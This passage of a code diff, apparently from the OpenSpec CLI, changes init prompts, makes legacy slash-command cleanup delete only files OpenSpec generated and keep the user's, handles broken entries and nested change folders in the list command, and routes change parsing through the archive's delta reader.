'Set up GitHub Copilot cloud coding-agent files? This is for the GitHub-hosted ' +
|
||||
@@ -520,7 +508,7 @@ export class InitCommand {
|
||||
}
|
||||
|
||||
// Interactive mode: prompt for confirmation
|
||||
const { confirm } = await loadPrompts();
|
||||
const { confirm } = await import('@inquirer/prompts');
|
||||
const shouldCleanup = await confirm({
|
||||
message: 'Upgrade and clean up legacy files?',
|
||||
default: true,
|
||||
@@ -529,10 +517,7 @@ export class InitCommand {
|
||||
if (!shouldCleanup) {
|
||||
console.log(chalk.dim('Initialization cancelled.'));
|
||||
console.log(chalk.dim('Run with --force to skip this prompt, or manually remove legacy files.'));
|
||||
// Declining is the user's choice, not a failure. Throwing a cancellation
|
||||
// rather than exiting stops the command the same way while letting
|
||||
// commander's postAction hook run.
|
||||
throw new InitCancelledError();
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
await this.performImmediateLegacyCleanup(projectPath, detection);
|
||||
@@ -649,8 +634,9 @@ export class InitCommand {
|
||||
if (detectedToolIds.size > 0) {
|
||||
return [...detectedToolIds];
|
||||
}
|
||||
const fallbackHint = universalToolFallbackHint(validTools);
|
||||
throw new Error(
|
||||
`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...`
|
||||
`No tools detected and no --tools flag provided. Valid tools:\n ${validTools.join('\n ')}\n\nUse --tools all, --tools none, or --tools claude,cursor,...${fallbackHint ? `\n${fallbackHint}` : ''}`
|
||||
);
|
||||
}
|
||||
|
||||
@@ -674,6 +660,7 @@ export class InitCommand {
|
||||
return {
|
||||
name: tool?.name || toolId,
|
||||
value: toolId,
|
||||
searchAliases: tool?.searchAliases,
|
||||
configured,
|
||||
detected: detected && !configured,
|
||||
preSelected: configured || (shouldPreselectDetected && detected && !configured),
|
||||
@@ -707,10 +694,19 @@ export class InitCommand {
|
||||
console.log(`Detected tool directories: ${detectedOnlyNames.join(', ')} (${detectionLabel})`);
|
||||
}
|
||||
|
||||
// A search that matches nothing is where someone whose assistant is not on
|
||||
// the list gives up (#653), so name the vendor-neutral entry right there.
|
||||
const universalTool = getUniversalTool();
|
||||
const universalHint =
|
||||
universalTool && validTools.includes(universalTool.value)
|
||||
? `Tool not listed? Clear the search and pick "${universalTool.name}".`
|
||||
: undefined;
|
||||
|
||||
const selectedTools = await searchableMultiSelect({
|
||||
message: `Select tools to set up (${validTools.length} available)`,
|
||||
pageSize: 15,
|
||||
choices: sortedChoices,
|
||||
emptyHint: universalHint,
|
||||
validate: (selected: string[]) => selected.length > 0 || 'Select at least one tool',
|
||||
});
|
||||
|
||||
@@ -770,8 +766,9 @@ export class InitCommand {
|
||||
);
|
||||
|
||||
if (invalidTokens.length > 0) {
|
||||
const fallbackHint = universalToolFallbackHint([...availableSet]);
|
||||
throw new Error(
|
||||
`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}`
|
||||
`Invalid tool(s): ${invalidTokens.join(', ')}. Available values: ${availableList}${fallbackHint ? `\n${fallbackHint}` : ''}`
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
+199
-12
@@ -26,19 +26,27 @@ export const LEGACY_CONFIG_FILES = [
|
||||
'QWEN.md',
|
||||
] as const;
|
||||
|
||||
/** The three commands the old SlashCommandRegistry wrote into each directory. */
|
||||
const LEGACY_DIRECTORY_COMMAND_FILES = ['proposal.md', 'apply.md', 'archive.md'] as const;
|
||||
|
||||
/**
|
||||
* Legacy slash command patterns from the old SlashCommandRegistry.
|
||||
* These map toolId to the path pattern where legacy commands were created.
|
||||
* Some tools used a directory structure, others used individual files.
|
||||
*/
|
||||
export const LEGACY_SLASH_COMMAND_PATHS: Record<string, LegacySlashCommandPattern> = {
|
||||
// Directory-based: .tooldir/commands/openspec/ or .tooldir/commands/openspec/*.md
|
||||
'claude': { type: 'directory', path: '.claude/commands/openspec' },
|
||||
'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec' },
|
||||
'qoder': { type: 'directory', path: '.qoder/commands/openspec' },
|
||||
'lingma': { type: 'directory', path: '.lingma/commands/openspec' },
|
||||
'crush': { type: 'directory', path: '.crush/commands/openspec' },
|
||||
'gemini': { type: 'directory', path: '.gemini/commands/openspec' },
|
||||
// Directory-based: .tooldir/commands/openspec/. Each entry names the files
|
||||
// OpenSpec wrote there, because users keep their own commands in the same
|
||||
// folder: only those files are deleted, and the folder only once it is empty.
|
||||
'claude': { type: 'directory', path: '.claude/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'codebuddy': { type: 'directory', path: '.codebuddy/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'qoder': { type: 'directory', path: '.qoder/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
// Lingma support arrived after the opsx rename and has always written to
|
||||
// `.lingma/commands/opsx/`, so OpenSpec never put a file here: only an empty
|
||||
// leftover folder is removed.
|
||||
'lingma': { type: 'directory', path: '.lingma/commands/openspec', managedFileNames: [] },
|
||||
'crush': { type: 'directory', path: '.crush/commands/openspec', managedFileNames: LEGACY_DIRECTORY_COMMAND_FILES },
|
||||
'gemini': { type: 'directory', path: '.gemini/commands/openspec', managedFileNames: ['proposal.toml', 'apply.toml', 'archive.toml'] },
|
||||
|
||||
// File-based: individual openspec-*.md files in a commands/workflows/prompts folder
|
||||
'cursor': { type: 'files', pattern: '.cursor/commands/openspec-*.md' },
|
||||
@@ -110,6 +118,8 @@ export const LEGACY_GLOBAL_SLASH_COMMAND_PATHS: Record<string, LegacyGlobalPromp
|
||||
export interface LegacySlashCommandPattern {
|
||||
type: 'directory' | 'files';
|
||||
path?: string; // For directory type
|
||||
/** For directory type: the only files in `path` that OpenSpec wrote. */
|
||||
managedFileNames?: readonly string[];
|
||||
pattern?: string | string[]; // For files type (glob pattern or array of patterns)
|
||||
}
|
||||
|
||||
@@ -320,8 +330,20 @@ export async function detectLegacySlashCommands(
|
||||
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type === 'directory' && pattern.path) {
|
||||
const dirPath = FileSystemUtils.joinPath(projectPath, pattern.path);
|
||||
if (await FileSystemUtils.directoryExists(dirPath)) {
|
||||
if (!(await FileSystemUtils.directoryExists(dirPath))) {
|
||||
continue;
|
||||
}
|
||||
const entries = await readLegacyCommandDir(dirPath, pattern.managedFileNames ?? []);
|
||||
if (!entries) {
|
||||
continue;
|
||||
}
|
||||
if (entries.others.length === 0) {
|
||||
// Only OpenSpec's own files, or nothing: the whole folder can go.
|
||||
directories.push(pattern.path);
|
||||
} else {
|
||||
// The folder also holds the user's files, so report OpenSpec's files
|
||||
// one by one; cleanup deletes those and leaves the folder in place.
|
||||
files.push(...entries.managed.map((name) => `${pattern.path}/${name}`));
|
||||
}
|
||||
} else if (pattern.type === 'files' && pattern.pattern) {
|
||||
const patterns = Array.isArray(pattern.pattern) ? pattern.pattern : [pattern.pattern];
|
||||
@@ -335,6 +357,102 @@ export async function detectLegacySlashCommands(
|
||||
return { directories, files };
|
||||
}
|
||||
|
||||
/**
|
||||
* Splits a legacy command directory's entries into the files OpenSpec wrote
|
||||
* there and everything else, sorted. A file counts as OpenSpec's only when it
|
||||
* is a regular file with a managed name whose content still carries the
|
||||
* OpenSpec markers every legacy command was written with; a folder, a link, or
|
||||
* a same-named file the user wrote is the user's. Subdirectories are listed
|
||||
* with a trailing '/'. Returns undefined when the directory cannot be read or
|
||||
* is itself a symlink, which is never followed.
|
||||
*/
|
||||
async function readLegacyCommandDir(
|
||||
dirPath: string,
|
||||
managedFileNames: readonly string[]
|
||||
): Promise<{ managed: string[]; others: string[] } | undefined> {
|
||||
let entries;
|
||||
try {
|
||||
if ((await fs.lstat(dirPath)).isSymbolicLink()) {
|
||||
return undefined;
|
||||
}
|
||||
entries = await fs.readdir(dirPath, { withFileTypes: true });
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
const managed: string[] = [];
|
||||
const others: string[] = [];
|
||||
for (const entry of entries) {
|
||||
if (
|
||||
entry.isFile() &&
|
||||
managedFileNames.includes(entry.name) &&
|
||||
(await isGeneratedLegacyCommand(path.join(dirPath, entry.name)))
|
||||
) {
|
||||
managed.push(entry.name);
|
||||
} else {
|
||||
others.push(entry.isDirectory() ? `${entry.name}/` : entry.name);
|
||||
}
|
||||
}
|
||||
return { managed: managed.sort(), others: others.sort() };
|
||||
}
|
||||
|
||||
/**
|
||||
* The legacy command directory, and its tool, that a repo-local path is one of
|
||||
* OpenSpec's own files in.
|
||||
*/
|
||||
function legacyCommandDirForFile(file: string): { toolId: string; dir: string } | undefined {
|
||||
const normalizedFile = normalizePathForMatch(file);
|
||||
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type !== 'directory' || !pattern.path) continue;
|
||||
const dir = pattern.path;
|
||||
if (pattern.managedFileNames?.some((name) => normalizedFile === `${dir}/${name}`)) {
|
||||
return { toolId, dir };
|
||||
}
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/**
|
||||
* Removes a legacy command directory once OpenSpec's files are gone from it,
|
||||
* or records what is left in it as kept. Never recursive: whatever remains was
|
||||
* not written by OpenSpec. Returns true when the directory was removed.
|
||||
*/
|
||||
async function settleLegacyCommandDir(
|
||||
projectPath: string,
|
||||
dirPath: string,
|
||||
result: CleanupResult
|
||||
): Promise<boolean> {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
||||
const remaining = await readLegacyCommandDir(fullPath, []);
|
||||
if (!remaining) {
|
||||
return false;
|
||||
}
|
||||
if (remaining.others.length === 0) {
|
||||
await fs.rmdir(fullPath);
|
||||
result.deletedDirs.push(dirPath);
|
||||
return true;
|
||||
}
|
||||
result.keptFiles!.push(...remaining.others.map((name) => `${dirPath}/${name}`));
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether a file is a legacy command OpenSpec generated: a regular file (not a
|
||||
* link) whose content carries the OpenSpec markers. Every legacy slash command
|
||||
* was written with them, and OpenSpec refused to update one that lost them, so
|
||||
* a same-named file without them is the user's.
|
||||
*/
|
||||
async function isGeneratedLegacyCommand(filePath: string): Promise<boolean> {
|
||||
try {
|
||||
if (!(await fs.lstat(filePath)).isFile()) {
|
||||
return false;
|
||||
}
|
||||
return hasOpenSpecMarkers(await fs.readFile(filePath, 'utf-8'));
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Detects legacy global slash command files.
|
||||
*
|
||||
@@ -506,6 +624,8 @@ export interface CleanupResult {
|
||||
modifiedFiles: string[];
|
||||
/** Directories that were deleted */
|
||||
deletedDirs: string[];
|
||||
/** Entries left in a legacy command directory because OpenSpec did not write them */
|
||||
keptFiles?: string[];
|
||||
/** Whether project.md exists and needs manual migration */
|
||||
projectMdNeedsMigration: boolean;
|
||||
/** Error messages if any operations failed */
|
||||
@@ -529,6 +649,7 @@ export async function cleanupLegacyArtifacts(
|
||||
deletedFileReplacementLabels: {},
|
||||
modifiedFiles: [],
|
||||
deletedDirs: [],
|
||||
keptFiles: [],
|
||||
projectMdNeedsMigration: detection.hasProjectMd,
|
||||
errors: [],
|
||||
};
|
||||
@@ -548,21 +669,50 @@ export async function cleanupLegacyArtifacts(
|
||||
}
|
||||
}
|
||||
|
||||
// Delete legacy slash command directories (these are 100% OpenSpec-managed)
|
||||
// Delete legacy slash command directories: only the files OpenSpec wrote,
|
||||
// then the directory once it is empty. Detection reports a directory only
|
||||
// when it holds nothing else, but a file the user added since is still kept.
|
||||
for (const dirPath of detection.slashCommandDirs) {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, dirPath);
|
||||
try {
|
||||
await fs.rm(fullPath, { recursive: true, force: true });
|
||||
result.deletedDirs.push(dirPath);
|
||||
const managedFileNames = legacyManagedFileNamesForDir(dirPath);
|
||||
const entries = await readLegacyCommandDir(fullPath, managedFileNames);
|
||||
if (!entries) {
|
||||
continue;
|
||||
}
|
||||
const deleted: string[] = [];
|
||||
for (const name of entries.managed) {
|
||||
const filePath = path.join(fullPath, name);
|
||||
// Check again just before deleting: the file may have been replaced
|
||||
// with the user's own since the scan. A kept file is reported below.
|
||||
if (!(await isGeneratedLegacyCommand(filePath))) {
|
||||
continue;
|
||||
}
|
||||
await fs.unlink(filePath);
|
||||
deleted.push(name);
|
||||
}
|
||||
if (!(await settleLegacyCommandDir(projectPath, dirPath, result))) {
|
||||
result.deletedFiles.push(...deleted.map((name) => `${dirPath}/${name}`));
|
||||
}
|
||||
} catch (error: any) {
|
||||
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Delete legacy slash command files (these are 100% OpenSpec-managed)
|
||||
const partlyCleanedDirs = new Set<string>();
|
||||
for (const filePath of detection.slashCommandFiles) {
|
||||
const fullPath = FileSystemUtils.joinPath(projectPath, filePath);
|
||||
try {
|
||||
const commandDir = legacyCommandDirForFile(filePath);
|
||||
if (commandDir) {
|
||||
partlyCleanedDirs.add(commandDir.dir);
|
||||
// Check again just before deleting: the file may have been replaced
|
||||
// with the user's own since detection. A kept file is reported below.
|
||||
if (!(await isGeneratedLegacyCommand(fullPath))) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
await fs.unlink(fullPath);
|
||||
result.deletedFiles.push(filePath);
|
||||
} catch (error: any) {
|
||||
@@ -570,6 +720,16 @@ export async function cleanupLegacyArtifacts(
|
||||
}
|
||||
}
|
||||
|
||||
// A legacy command directory that also held the user's files was cleaned
|
||||
// file by file above; record what was left in it.
|
||||
for (const dirPath of partlyCleanedDirs) {
|
||||
try {
|
||||
await settleLegacyCommandDir(projectPath, dirPath, result);
|
||||
} catch (error: any) {
|
||||
result.errors.push(`Failed to delete directory ${dirPath}: ${error.message}`);
|
||||
}
|
||||
}
|
||||
|
||||
// Delete managed global slash command files (these are 100% OpenSpec-managed)
|
||||
const globalPromptMatchesByPath = new Map(
|
||||
getLegacyGlobalPromptMatches(detection).map((prompt) => [prompt.path, prompt] as const)
|
||||
@@ -621,7 +781,14 @@ export async function cleanupLegacyArtifacts(
|
||||
export function formatCleanupSummary(result: CleanupResult): string {
|
||||
const lines: string[] = [];
|
||||
|
||||
if (result.deletedFiles.length > 0 || result.deletedDirs.length > 0 || result.modifiedFiles.length > 0) {
|
||||
const keptFiles = result.keptFiles ?? [];
|
||||
|
||||
if (
|
||||
result.deletedFiles.length > 0 ||
|
||||
result.deletedDirs.length > 0 ||
|
||||
result.modifiedFiles.length > 0 ||
|
||||
keptFiles.length > 0
|
||||
) {
|
||||
lines.push('Cleaned up legacy files:');
|
||||
|
||||
for (const file of result.deletedFiles) {
|
||||
@@ -637,6 +804,10 @@ export function formatCleanupSummary(result: CleanupResult): string {
|
||||
lines.push(` ✓ Removed ${dir}/ (replaced by OpenSpec skills and commands)`);
|
||||
}
|
||||
|
||||
for (const entry of keptFiles) {
|
||||
lines.push(` • Kept ${entry} (not created by OpenSpec)`);
|
||||
}
|
||||
|
||||
for (const file of result.modifiedFiles) {
|
||||
lines.push(` ✓ Removed OpenSpec markers from ${file}`);
|
||||
}
|
||||
@@ -832,8 +1003,24 @@ function legacyToolIdForDir(dir: string): string | undefined {
|
||||
return undefined;
|
||||
}
|
||||
|
||||
/** The files OpenSpec wrote into a repo-local legacy slash-command directory. */
|
||||
function legacyManagedFileNamesForDir(dir: string): readonly string[] {
|
||||
const normalizedDir = normalizePathForMatch(dir);
|
||||
for (const pattern of Object.values(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
if (pattern.type === 'directory' && pattern.path === normalizedDir) {
|
||||
return pattern.managedFileNames ?? [];
|
||||
}
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
/** The tool that owns a repo-local legacy slash-command file, if any. */
|
||||
function legacyToolIdForFile(file: string): string | undefined {
|
||||
// A file from a directory-based tool, reported because the directory also
|
||||
// holds the user's own files.
|
||||
const commandDir = legacyCommandDirForFile(file);
|
||||
if (commandDir) return commandDir.toolId;
|
||||
|
||||
// Normalize to forward slashes so the glob patterns match on Windows too.
|
||||
const normalizedFile = normalizePathForMatch(file);
|
||||
for (const [toolId, pattern] of Object.entries(LEGACY_SLASH_COMMAND_PATHS)) {
|
||||
|
||||
+61
-10
@@ -5,12 +5,19 @@ import { readFileSync, type Dirent } from 'fs';
|
||||
import { MarkdownParser } from './parsers/markdown-parser.js';
|
||||
import type { RootOutput } from './root-selection.js';
|
||||
import { discoverSpecFiles } from '../utils/spec-discovery.js';
|
||||
import {
|
||||
describeNestedChange,
|
||||
findNestedChanges,
|
||||
type NestedChangeFinding,
|
||||
} from '../utils/nested-change.js';
|
||||
|
||||
interface ChangeInfo {
|
||||
name: string;
|
||||
completedTasks: number;
|
||||
totalTasks: number;
|
||||
lastModified: Date;
|
||||
/** Set when the entry is a namespace folder rather than a change (#1846). */
|
||||
nested?: string[];
|
||||
}
|
||||
|
||||
interface ListOptions {
|
||||
@@ -28,6 +35,17 @@ function isMissingPathError(error: unknown): boolean {
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* An entry that cannot be dated because it no longer resolves: it was removed
|
||||
* after `readdir` listed it, or it is a symlink whose target is missing (an
|
||||
* Emacs `.#file` lock) or that loops back on itself.
|
||||
*/
|
||||
function isUnresolvableEntryError(error: unknown): boolean {
|
||||
if (typeof error !== 'object' || error === null || !('code' in error)) return false;
|
||||
const code = (error as NodeJS.ErrnoException).code;
|
||||
return code === 'ENOENT' || code === 'ELOOP';
|
||||
}
|
||||
|
||||
async function readChangeDirectoryEntries(changesDir: string): Promise<Dirent[]> {
|
||||
try {
|
||||
return await fs.readdir(changesDir, { withFileTypes: true });
|
||||
@@ -48,13 +66,18 @@ async function getLastModified(dirPath: string): Promise<Date> {
|
||||
const entries = await fs.readdir(dir, { withFileTypes: true });
|
||||
for (const entry of entries) {
|
||||
const fullPath = path.join(dir, entry.name);
|
||||
if (entry.isDirectory()) {
|
||||
await walk(fullPath);
|
||||
} else {
|
||||
const stat = await fs.stat(fullPath);
|
||||
if (latest === null || stat.mtime > latest) {
|
||||
latest = stat.mtime;
|
||||
try {
|
||||
if (entry.isDirectory()) {
|
||||
await walk(fullPath);
|
||||
} else {
|
||||
const stat = await fs.stat(fullPath);
|
||||
if (latest === null || stat.mtime > latest) {
|
||||
latest = stat.mtime;
|
||||
}
|
||||
}
|
||||
} catch (error) {
|
||||
// Skip the one entry rather than fail the listing of every change.
|
||||
if (!isUnresolvableEntryError(error)) throw error;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -119,6 +142,14 @@ export class ListCommand {
|
||||
// Collect information about each change
|
||||
const changes: ChangeInfo[] = [];
|
||||
|
||||
// A directory that only wraps nested change directories is still listed -
|
||||
// hiding it would hide a real change whenever the probe is wrong - but it
|
||||
// is listed as what it is, so the nesting stops failing silently (#1846).
|
||||
const nestedFindings = await findNestedChanges(changesDir, changeDirs);
|
||||
const nestedByName = new Map<string, NestedChangeFinding>(
|
||||
nestedFindings.map((finding) => [finding.name, finding])
|
||||
);
|
||||
|
||||
for (const changeDir of changeDirs) {
|
||||
const progress = await getTaskProgressForChange(changesDir, changeDir, targetPath);
|
||||
const changePath = path.join(changesDir, changeDir);
|
||||
@@ -127,7 +158,8 @@ export class ListCommand {
|
||||
name: changeDir,
|
||||
completedTasks: progress.completed,
|
||||
totalTasks: progress.total,
|
||||
lastModified
|
||||
lastModified,
|
||||
...(nestedByName.has(changeDir) ? { nested: nestedByName.get(changeDir)!.nested } : {})
|
||||
});
|
||||
}
|
||||
|
||||
@@ -145,9 +177,22 @@ export class ListCommand {
|
||||
completedTasks: c.completedTasks,
|
||||
totalTasks: c.totalTasks,
|
||||
lastModified: c.lastModified.toISOString(),
|
||||
status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress'
|
||||
status: c.totalTasks === 0 ? 'no-tasks' : c.completedTasks === c.totalTasks ? 'complete' : 'in-progress',
|
||||
...(c.nested ? { nested: c.nested } : {})
|
||||
}));
|
||||
console.log(JSON.stringify({ changes: jsonOutput, ...(root ? { root } : {}) }, null, 2));
|
||||
// Additive: the entries keep their shape so existing consumers are
|
||||
// unaffected, and the nesting is reported alongside them.
|
||||
const warnings = nestedFindings.map((finding) => ({
|
||||
code: 'nested_change_directory',
|
||||
name: finding.name,
|
||||
nested: finding.nested,
|
||||
message: describeNestedChange(finding)
|
||||
}));
|
||||
console.log(JSON.stringify({
|
||||
changes: jsonOutput,
|
||||
...(warnings.length > 0 ? { warnings } : {}),
|
||||
...(root ? { root } : {})
|
||||
}, null, 2));
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -157,10 +202,16 @@ export class ListCommand {
|
||||
const nameWidth = Math.max(...changes.map(c => c.name.length));
|
||||
for (const change of changes) {
|
||||
const paddedName = change.name.padEnd(nameWidth);
|
||||
const status = formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
|
||||
const status = change.nested
|
||||
? 'not a change'
|
||||
: formatTaskStatus({ total: change.totalTasks, completed: change.completedTasks });
|
||||
const timeAgo = formatRelativeTime(change.lastModified);
|
||||
console.log(`${padding}${paddedName} ${status.padEnd(12)} ${timeAgo}`);
|
||||
}
|
||||
for (const finding of nestedFindings) {
|
||||
console.log('');
|
||||
console.log(`Warning: ${describeNestedChange(finding)}`);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
*/
|
||||
|
||||
import { AI_TOOLS, type AIToolOption } from './config.js';
|
||||
import { getGlobalConfig, getGlobalConfigPath, saveGlobalConfig, type Delivery } from './global-config.js';
|
||||
import { getGlobalConfig, getGlobalConfigPath, isGlobalConfigUnreadable, saveGlobalConfig, type Delivery } from './global-config.js';
|
||||
import { CommandAdapterRegistry } from './command-generation/index.js';
|
||||
import {
|
||||
resolveCommandInvocation,
|
||||
@@ -560,6 +560,12 @@ function inferDelivery(artifacts: InstalledWorkflowArtifacts): Delivery {
|
||||
* - If profile field already exists: no-op.
|
||||
*/
|
||||
export function migrateIfNeeded(projectPath: string, tools: AIToolOption[]): void {
|
||||
// A config that cannot be parsed, or is not a JSON object, is never saved
|
||||
// over; skip migration rather than fail init or update on it.
|
||||
if (isGlobalConfigUnreadable()) {
|
||||
return;
|
||||
}
|
||||
|
||||
const config = getGlobalConfig();
|
||||
|
||||
// Check raw config file for profile field presence
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
import { MarkdownParser, Section } from './markdown-parser.js';
|
||||
import { buildCodeFenceMask } from './requirement-text.js';
|
||||
import { parseDeltaSpec, type DeltaPlan, type RequirementBlock } from './requirement-blocks.js';
|
||||
import { Change, Delta, DeltaOperation, Requirement } from '../schemas/index.js';
|
||||
import path from 'path';
|
||||
import { promises as fs } from 'fs';
|
||||
import { discoverSpecFiles } from '../../utils/spec-discovery.js';
|
||||
import { discoverSpecFiles, type DiscoveredSpec } from '../../utils/spec-discovery.js';
|
||||
|
||||
interface DeltaSection {
|
||||
operation: DeltaOperation;
|
||||
@@ -11,6 +12,12 @@ interface DeltaSection {
|
||||
renames?: Array<{ from: string; to: string }>;
|
||||
}
|
||||
|
||||
/** A header-only block for a REMOVED entry written in the bullet form. */
|
||||
function removedNameBlock(name: string): RequirementBlock {
|
||||
const headerLine = `### Requirement: ${name}`;
|
||||
return { headerLine, name, raw: headerLine };
|
||||
}
|
||||
|
||||
export class ChangeParser extends MarkdownParser {
|
||||
private changeDir: string;
|
||||
|
||||
@@ -32,15 +39,16 @@ export class ChangeParser extends MarkdownParser {
|
||||
throw new Error('Change must have a What Changes section');
|
||||
}
|
||||
|
||||
// Parse deltas from the What Changes section (simple format)
|
||||
const simpleDeltas = this.parseDeltas(whatChanges);
|
||||
|
||||
// Check if there are spec files with delta format
|
||||
const specsDir = path.join(this.changeDir, 'specs');
|
||||
const deltaDeltas = await this.parseDeltaSpecs(specsDir);
|
||||
|
||||
// Combine both types of deltas, preferring delta format if available
|
||||
const deltas = deltaDeltas.length > 0 ? deltaDeltas : simpleDeltas;
|
||||
// Delta spec files that carry a delta section are the only source of
|
||||
// structured deltas, even when those sections hold no entry archive can
|
||||
// apply. Falling back to the "What Changes" prose then reported operations
|
||||
// that never happen: a bullet-form REMOVED showed up as an invented
|
||||
// MODIFIED. The prose (simple format) is still read when no spec file
|
||||
// carries a delta section at all: a change with no spec files, or a legacy
|
||||
// change whose specs/ hold full future-state specs.
|
||||
const specFiles = await discoverSpecFiles(path.join(this.changeDir, 'specs'));
|
||||
const { deltas: specDeltas, hasDeltaSections } = await this.parseDeltaSpecs(specFiles);
|
||||
const deltas = hasDeltaSections ? specDeltas : this.parseDeltas(whatChanges);
|
||||
|
||||
return {
|
||||
name,
|
||||
@@ -54,25 +62,27 @@ export class ChangeParser extends MarkdownParser {
|
||||
};
|
||||
}
|
||||
|
||||
private async parseDeltaSpecs(specsDir: string): Promise<Delta[]> {
|
||||
// The spec files come from discoverSpecFiles, which walks specs/ recursively
|
||||
// so nested layouts like specs/<area>/<capability>/spec.md are parsed too (#1353)
|
||||
private async parseDeltaSpecs(
|
||||
specFiles: DiscoveredSpec[]
|
||||
): Promise<{ deltas: Delta[]; hasDeltaSections: boolean }> {
|
||||
const deltas: Delta[] = [];
|
||||
|
||||
// Discover delta specs recursively so nested layouts like
|
||||
// specs/<area>/<capability>/spec.md are parsed too (#1353)
|
||||
const specFiles = await discoverSpecFiles(specsDir);
|
||||
let hasDeltaSections = false;
|
||||
|
||||
for (const { id, specFile } of specFiles) {
|
||||
try {
|
||||
const content = await fs.readFile(specFile, 'utf-8');
|
||||
const specDeltas = this.parseSpecDeltas(id, content);
|
||||
deltas.push(...specDeltas);
|
||||
const plan = parseDeltaSpec(content);
|
||||
if (Object.values(plan.sectionPresence).some(Boolean)) hasDeltaSections = true;
|
||||
deltas.push(...this.parseSpecDeltas(id, plan));
|
||||
} catch (error) {
|
||||
// Spec file might not be readable, which is okay
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return deltas;
|
||||
return { deltas, hasDeltaSections };
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -98,99 +108,82 @@ export class ChangeParser extends MarkdownParser {
|
||||
});
|
||||
}
|
||||
|
||||
private parseSpecDeltas(specName: string, content: string): Delta[] {
|
||||
/**
|
||||
* The deltas in one spec file, read by parseDeltaSpec — the reader archive
|
||||
* applies — so what `show` reports is what archive will do. This used to be a
|
||||
* second reader that disagreed with it: a bullet-form REMOVED was invisible,
|
||||
* a repeated section header was read only once, and a RENAMED line written
|
||||
* with `*` or `+` was dropped.
|
||||
*/
|
||||
private parseSpecDeltas(specName: string, plan: DeltaPlan): Delta[] {
|
||||
const deltas: Delta[] = [];
|
||||
const sections = this.parseSectionsFromContent(content);
|
||||
|
||||
|
||||
// Parse ADDED requirements
|
||||
const addedSection = this.findSection(sections, 'ADDED Requirements');
|
||||
if (addedSection) {
|
||||
const requirements = this.parseRequirements(addedSection);
|
||||
requirements.forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'ADDED' as DeltaOperation,
|
||||
description: `Add requirement: ${req.text}`,
|
||||
// Provide both single and plural forms for compatibility
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
this.toRequirements(plan.added).forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'ADDED' as DeltaOperation,
|
||||
description: `Add requirement: ${req.text}`,
|
||||
// Provide both single and plural forms for compatibility
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
// Parse MODIFIED requirements
|
||||
const modifiedSection = this.findSection(sections, 'MODIFIED Requirements');
|
||||
if (modifiedSection) {
|
||||
const requirements = this.parseRequirements(modifiedSection);
|
||||
requirements.forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'MODIFIED' as DeltaOperation,
|
||||
description: `Modify requirement: ${req.text}`,
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
this.toRequirements(plan.modified).forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'MODIFIED' as DeltaOperation,
|
||||
description: `Modify requirement: ${req.text}`,
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
}
|
||||
|
||||
// Parse REMOVED requirements
|
||||
const removedSection = this.findSection(sections, 'REMOVED Requirements');
|
||||
if (removedSection) {
|
||||
const requirements = this.parseRequirements(removedSection);
|
||||
requirements.forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'REMOVED' as DeltaOperation,
|
||||
description: `Remove requirement: ${req.text}`,
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
});
|
||||
|
||||
// Parse REMOVED requirements, in document order. A bullet-form entry
|
||||
// carries only a name, so it reads as a header-form removal with no body.
|
||||
const removedBlocks = [...plan.removedBlocks];
|
||||
const removed = plan.removed.map((name) => {
|
||||
const index = removedBlocks.findIndex((block) => block.name === name);
|
||||
return index === -1 ? removedNameBlock(name) : removedBlocks.splice(index, 1)[0];
|
||||
});
|
||||
this.toRequirements(removed).forEach(req => {
|
||||
deltas.push({
|
||||
spec: specName,
|
||||
operation: 'REMOVED' as DeltaOperation,
|
||||
description: `Remove requirement: ${req.text}`,
|
||||
requirement: req,
|
||||
requirements: [req],
|
||||
});
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
// Parse RENAMED requirements
|
||||
const renamedSection = this.findSection(sections, 'RENAMED Requirements');
|
||||
